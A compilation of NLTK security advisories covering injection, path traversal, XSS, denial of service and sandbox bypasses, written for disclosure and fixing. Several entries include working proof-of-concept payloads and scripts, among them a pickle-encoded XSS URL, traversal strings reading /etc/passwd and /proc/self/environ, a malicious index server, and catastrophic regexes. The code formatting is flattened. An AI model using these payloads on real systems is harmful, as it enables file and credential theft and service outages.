NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.

Last updated 6 May 2026

A vulnerability in the filestring() function of the nltk.util module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.

Summary nltk.app.wordnetapp contains a reflected cross-site scripting issue in the lookup... route. A crafted lookup<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details The vulnerable flow is in nltk/app/wordnetapp.py:

- nltk/app/wordnetapp.py:144 - Requests starting with lookup are handled as HTML responses: - page, word = pagefromhref(sp)

- nltk/app/wordnetapp.py:755 - pagefromhref() calls pagefromreference(Reference.decode(href))

- nltk/app/wordnetapp.py:769 - word = href.word

- nltk/app/wordnetapp.py:796 - If no results are found, word is inserted directly into the HTML body: - body = "The word or words '%s' were not found in the dictionary." % word

This is inconsistent with the search route, which does escape user input:

- nltk/app/wordnetapp.py:136 - word = html.escape(...)

As a result, a malicious lookup... payload can inject script into the response page.

The issue is exploitable because:

- Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded word is reflected into HTML without html.escape(). - The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC 1. Start the WordNet Browser in an isolated Docker environment:

bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8002, False)"

2. Use the following crafted payload, which decodes to:

python ("<script>alert(1)</script>", {})

Encoded payload:

text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=

3. Request the vulnerable route:

bash curl -s "http://127.0.0.1:8002/lookupgAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="

4. Observed result:

text The word or words '<script>alert(1)</script>' were not found in the dictionary. <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />

I also validated the issue directly at function level in Docker:

python import base64 import pickle

from nltk.app.wordnetapp import pagefromhref

payload = base64.urlsafeb64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode()

page, word = pagefromhref(payload) print(word) print("<script>alert(1)</script>" in page)

Observed output:

text WORD= <script>alert(1)</script> HASSCRIPT= True

Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

- run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnetapp as a local or self-hosted HTTP service and open attacker-controlled links.

Summary nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service.

Details The vulnerable logic is in nltk/app/wordnetapp.py:

- nltk/app/wordnetapp.py:242 - The server listens on all interfaces: - server = HTTPServer(("", port), MyServerHandler)

- nltk/app/wordnetapp.py:87 - Incoming requests are checked for the exact path: - if unquoteplus(sp) == "SHUTDOWN THE SERVER":

- nltk/app/wordnetapp.py:88 - The shutdown protection only depends on servermode

- nltk/app/wordnetapp.py:93 - In the default mode (runBrowser=True, therefore servermode=False), the handler terminates the process directly: - os.exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC 1. Start the WordNet Browser in Docker in its default mode:

bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8004, True)"

2. Confirm the service is reachable:

bash curl -s -o /tmp/wnbefore.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/'

Observed result:

text 200

3. Trigger shutdown:

bash curl -s -o /tmp/wnshutdown.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

text 000

4. Verify the service is no longer available:

bash curl -s -o /tmp/wnafter.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest

Observed results:

text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down!

Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

- the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnetapp and expose or otherwise allow access to its listening port.

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorizedkeys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(downloaddir, info.filename) - Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(downloaddir, info.subdir), existok=True) - Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. downloadpackage() constructs path: downloaddir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: downloaddir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten!

Impact Scope 1. System File Overwrite

Reproduction Steps

Environment Setup

1. Install NLTK bash pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server bash python3 maliciousserver.py

Step 2: Run exploit script bash python3 exploitvulnerability.py

Step 3: Verify results bash ls -la /tmp/testfile.zip

Proof of Concept

Malicious Server (maliciousserver.py)

python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler

Create temporary directory serverdir = tempfile.mkdtemp(prefix="nltkmalicious")

Create malicious XML (contains path traversal) maliciousxml = """<?xml version="1.0"?> <nltkdata> <packages> <package id="testfile" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzippedsize="100" unzip="0"/> </packages> </nltkdata> """

Save files with open(os.path.join(serverdir, "maliciousindex.xml"), "w") as f: f.write(maliciousxml)

with zipfile.ZipFile(os.path.join(serverdir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!")

HTTP Handler class Handler(BaseHTTPRequestHandler): def doGET(self): if self.path == '/maliciousindex.xml': self.sendresponse(200) self.sendheader('Content-type', 'application/xml') self.endheaders() with open(os.path.join(serverdir, 'maliciousindex.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.sendresponse(200) self.sendheader('Content-type', 'application/zip') self.endheaders() with open(os.path.join(serverdir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.sendresponse(404) self.endheaders() def logmessage(self, format, args): pass

Start server if name == "main": port = 8888 server = HTTPServer(("0.0.0.0", port), Handler) print(f"Malicious server started: http://127.0.0.1:{port}/maliciousindex.xml") print("Press Ctrl+C to stop") try: server.serveforever() except KeyboardInterrupt: print("\nServer stopped")

Exploit Script (exploitvulnerability.py)

python #!/usr/bin/env python3 """AFO Vulnerability Exploit Script""" import os import tempfile

def exploit(serverurl="http://127.0.0.1:8888/maliciousindex.xml"): downloaddir = tempfile.mkdtemp(prefix="nltkexploit") print(f"Download directory: {downloaddir}") # Exploit vulnerability from nltk.downloader import Downloader downloader = Downloader(serverindexurl=serverurl, downloaddir=downloaddir) downloader.download("testfile", quiet=True) # Check results expectedpath = "/tmp/testfile.zip" if os.path.exists(expectedpath): print(f"\n✗ Exploit successful! File written to: {expectedpath}") print(f"✗ Path traversal attack successful!") else: print(f"\n? File not found, download may have failed")

if name == "main": exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/testfile.zip ✗ Path traversal attack successful!

NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlistedpickleload.

Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.

Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. Affected Component nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. Proof of Concept """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses UNSAFENOPROTOCOLRE security regex in nltk/data.py by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal)

Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """

import sys import os import warnings

Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning)

Setup sys.path.insert(0, os.path.join(os.path.dirname(file), "nltk")) os.makedirs(os.path.expanduser("~/nltkdata/corpora"), existok=True)

import nltk from nltk.pathsec import ENFORCE

BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE)

def testvariant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] firstline = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {firstline}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).name}: {e}") return False

def main(): print(BANNER) vulns = 0

# --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if testvariant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1

print()

# --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if testvariant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1

print()

# --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if testvariant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1

print()

# --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") envvars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(envvars)} environment variables") for var in envvars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}")

print()

# --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") testvariant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

print() print("=" 51) print(f" Result: {vulns} bypass variant(s) succeeded") if vulns > 0: print(" Status: VULNERABLE (url2pathname decodes after regex check)") else: print(" Status: Not vulnerable") print("=" 51)

if name == "main": main() Impact Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

Summary nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path, url2pathname(resourcename)) if os.path.exists(p): return FileSystemPathPointer(p)

Proof of Concept import nltk.data nltk.data.path = ["/home/user/nltkdata"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRETcredentials.txt", format="raw") print(data) b'AWSSECRETKEY=AKIAIOSFODNN7EXAMPLE\nDATABASEPASS=hunter2\n' All of these bypass path checks and decode identically:

Payload After url2pathname() %2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix Decode before checking:

from urllib.parse import unquote resourcename = unquote(resourcename) # decode first, then validate

Impact An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().

Summary

Pl196xCorpusReader still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.

Details

- Vulnerability type: Regular-expression denial of service - Affected component: nltk.corpus.reader.pl196x.TEICorpusView.readblock and Pl196xCorpusReader public methods - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Lazy .? whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.

The parser uses regexes for paragraphs, sentences, and word tags across the whole <text> block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed <p> tags doubled, through normal public calls such as words() and taggedwords().

PoC

Preconditions - The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.

Steps 1. Create a corpus file with a valid header followed by a <text> block that contains many opening tags and no matching closing tags. 2. Instantiate Pl196xCorpusReader on that corpus. 3. Call words() or taggedwords() and measure elapsed time as the malformed tag count doubles. 4. Observe near quadratic growth instead of near-linear behavior.

Minimal reproducible excerpt

text size=1000 0.014s size=2000 0.057s size=4000 0.231s size=8000 0.927s

Impact

A consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.

Remediation

Replace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.

Summary The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code nltk/tgrep.py — tgrepnodeaction() (around line 320)

When a tgrep pattern contains a /regex/ node, tgrepnodeaction compiles the embedded regex literal directly with no validation:

python def tgrepnodeaction(s, l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") nodelit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( tgrepnodeliteralvalue(n) ) )(re.compile(nodelit)) # User regex compiled and executed with no timeout The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgreppositions() or tgrepcompile() controls nodelit entirely.

Proof of Concept python import nltk from nltk.tgrep import tgreppositions

Root node label is 25 'a' characters. tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" 25 + " (NP (DT the)))") tgreppositions(r"/((a+)+)b/", [tree]) # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgreppositions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

python import nltk from nltk.tgrep import tgreppositions import time

def testn(n): tree = nltk.Tree.fromstring("(" + "a" n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perfcounter() list(tgreppositions(pattern, [tree])) return time.perfcounter() - start

if name == "main": # Adjust the range if needed – these values complete quickly nvalues = [18, 20, 22, 24, 26, 28] print(f"Testing n = {nvalues}\n")

times = [] for n in nvalues: t = testn(n) times.append((n, t)) print(f"n={n:2d} done", flush=True)

print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prevn, prevt = times[i-1] currn, currt = times[i] factor = currt / prevt factors.append((currn, factor)) print(f"n={currn:2d} : factor = {factor:.2f}x (vs n={prevn})")

avg = sum(f for , f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit Tool: Kira by Offgrid Security

Summary NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.

Affected Code nltk/text.py — TokenSearcher.findall() (line 255) / Text.findall() (line 620)

TokenSearcher.init builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:

python def findall(self, regexp): # Preprocessing does NOT prevent catastrophic backtracking regexp = re.sub(r"\s", "", regexp) regexp = re.sub(r"<", "(?:<(?:", regexp) regexp = re.sub(r">", ")>)", regexp) regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)

# User-controlled regexp executed with no timeout hits = re.findall(regexp, self.raw) The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.

Proof of Concept python import nltk import time

Token of 25 'a' characters produces self.raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>" The trailing '!' ensures no match, forcing full backtracking. text = nltk.Text(["a" 25 + "!"])

Pattern after transformation: < → (?:<(?: → )>) Becomes: (?:<(?:((a+)+)b)>) re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.

start = time.time() text.findall(r"<((a+)+)b>") # Never returns

Impact Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.

Remediation This vulnerability was patched in commit d8e4753. Users should update to the patched version.

Credit Tool: Kira by Offgrid Security

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

- Product: NLTK - Asset / component: nltk.corpus.reader constructors - Version tested: 3.10.2 - Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk - Environment used for verification: Python 3.13.14

Vulnerability Details

- Vulnerability class: path sandbox bypass / external control of file path - Required privileges: none beyond the ability to supply a corpus root path to a consumer call site - Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root) - Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec - Root affected functions: - CorpusReader.init - LinThesaurusCorpusReader.init - PanLexLiteCorpusReader.init - Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.init() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

python if zipfile: root = ZipFilePathPointer(zipfile, zipentry) else: root = FileSystemPathPointer(root)

with open(path) as linfile: ...

self.c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01rawpathpoc.py in the checkout root and run python hy01rawpathpoc.py.

python #!/usr/bin/env python3 """PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts: - pathsec blocks a direct read through the sandboxed file API - LinThesaurusCorpusReader still reaches builtin open() on an outside path - PanLexLiteCorpusReader still opens an outside sqlite database and loads data """

from future import annotations

import builtins import pathlib import sqlite3 import sys import tempfile from unittest.mock import patch

try: import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlexlite import PanLexLiteCorpusReader except ModuleNotFoundError: here = pathlib.Path(file).resolve() for base in (here.parent, here.parents): if (base / "nltk").isdir() and (base / "setup.py").exists(): sys.path.insert(0, str(base)) break else: raise RuntimeError( "Could not import nltk. Run this script from an NLTK checkout root " "or from an environment where the current checkout is installed." )

import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlexlite import PanLexLiteCorpusReader

def main() -> int: pathsec.ENFORCE = True

with patch.object(pathsec, "getallowedroots", lambda: set()): with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"): with tempfile.TemporaryDirectory() as tmp: tmpdir = pathlib.Path(tmp) outside = tmpdir / "outside" outside.mkdir()

blockedfile = outside / "blocked.txt" blockedfile.writetext("blocked", encoding="utf-8")

controltarget = str(blockedfile) try: with pathsec.open(controltarget, "rb"): raise AssertionError( "pathsec.open unexpectedly allowed control path" ) except PermissionError: print("control:pathsec.open=blocked")

linroot = tmpdir / "lin" linroot.mkdir() linfile = linroot / "simN.lsp" linfile.writetext( '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n', encoding="utf-8", )

opened = [] realopen = builtins.open

def trackingopen(args, kwargs): opened.append(str(args[0])) return realopen(args, kwargs)

with patch("builtins.open", trackingopen): LinThesaurusCorpusReader(str(linroot))

if any(p.endswith("simN.lsp") for p in opened): print("lin:outsiderootopen=success") else: raise AssertionError("LinThesaurusCorpusReader did not open data")

panlexroot = tmpdir / "panlex" panlexroot.mkdir() dbpath = panlexroot / "db.sqlite" db = sqlite3.connect(dbpath) cur = db.cursor() cur.execute("create table lv(uid text, lv text, lc text, tt text)") cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)") cur.execute("create table ex(ex int, tt text, lv text, uq int)") cur.execute( "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')" ) db.commit() db.close()

reader = PanLexLiteCorpusReader(str(panlexroot)) result = reader.languagevarieties() if result == [("u1", "English")]: print("panlex:languagevarieties=success") else: raise AssertionError("PanLexLiteCorpusReader did not load data")

return 0

if name == "main": raise SystemExit(main())

Expected output:

control:pathsec.open=blocked lin:outsiderootopen=success panlex:languagevarieties=success Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

- Base Score: 7.5 (High) - Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

Summary

Several corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in open() rather than nltk.pathsec.open().

Details

- Vulnerability type: Path traversal and symlink boundary bypass - Affected component: nltk.corpus.reader.ipipan, nltk.corpus.reader.crubadan, nltk.corpus.reader.lin - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Root-derived paths are reopened with raw open() without preserving the trusted-root boundary.

IPIPANCorpusReader opens header.xml derived from morph.xml, CrubadanCorpusReader opens table.txt directly, and LinThesaurusCorpusReader opens simN.lsp paths returned from its own root helpers. Under pathsec.ENFORCE=True, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as channels(), domains(), categories(), langs(), crubadantoiso(), synonyms(), and scoredsynonyms().

PoC

Preconditions - The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.

Steps 1. Create a trusted corpus root and keep pathsec.ENFORCE=True with that root allowlisted. 2. Place symlinked reader inputs such as header.xml, table.txt, or simN.lsp inside the root and point them to external files. 3. Instantiate the corresponding corpus reader and call its normal public methods. 4. Observe that parsed outside-root values are returned even though pathsec.open() blocks the same symlink targets.

Minimal reproducible excerpt

text {'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}

Impact

An attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.

Remediation

Preserve PathPointer and requiredroot semantics end to end. Replace direct open() calls with nltk.pathsec.open() or a reader helper that keeps the trusted-root boundary intact.

References

- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545

---

Fix + full-codebase audit (verified)

I swept every raw file open in the corpus readers, not just the three the umbrella named:

| Reader | Site | Advisory | Root scoping | |---|---|---|---| | crubadan | table.txt + <code>-3grams.txt | p4rw / j5pw | requiredroot=self.root | | lin | simN.lsp | p4rw | requiredroot=self.root | | xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) | | pl196x | textids index | found by audit | requiredroot=self.root | | mte | MTEFileReader | mvf5 | requiredroot threaded through 8 call sites | | toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) | | namedentity | loadacefile ann/text | 7qj2 | global sandbox | | nkjp | XMLTool source file | p4rw class | requiredroot=self.root |

ipipan already validates via the earlier #3727 fix — unchanged.

Fix Each site now calls nltk.pathsec.validatepath(path, requiredroot=…) before opening. Where the reader has a concrete corpus root, the check is scoped with requiredroot (rejects any escape outside that root). XMLCorpusView carries no root, so it falls back to the global data-root sandbox via getattr(self, "root", None) — which also avoids an AttributeError on the bare-string path.

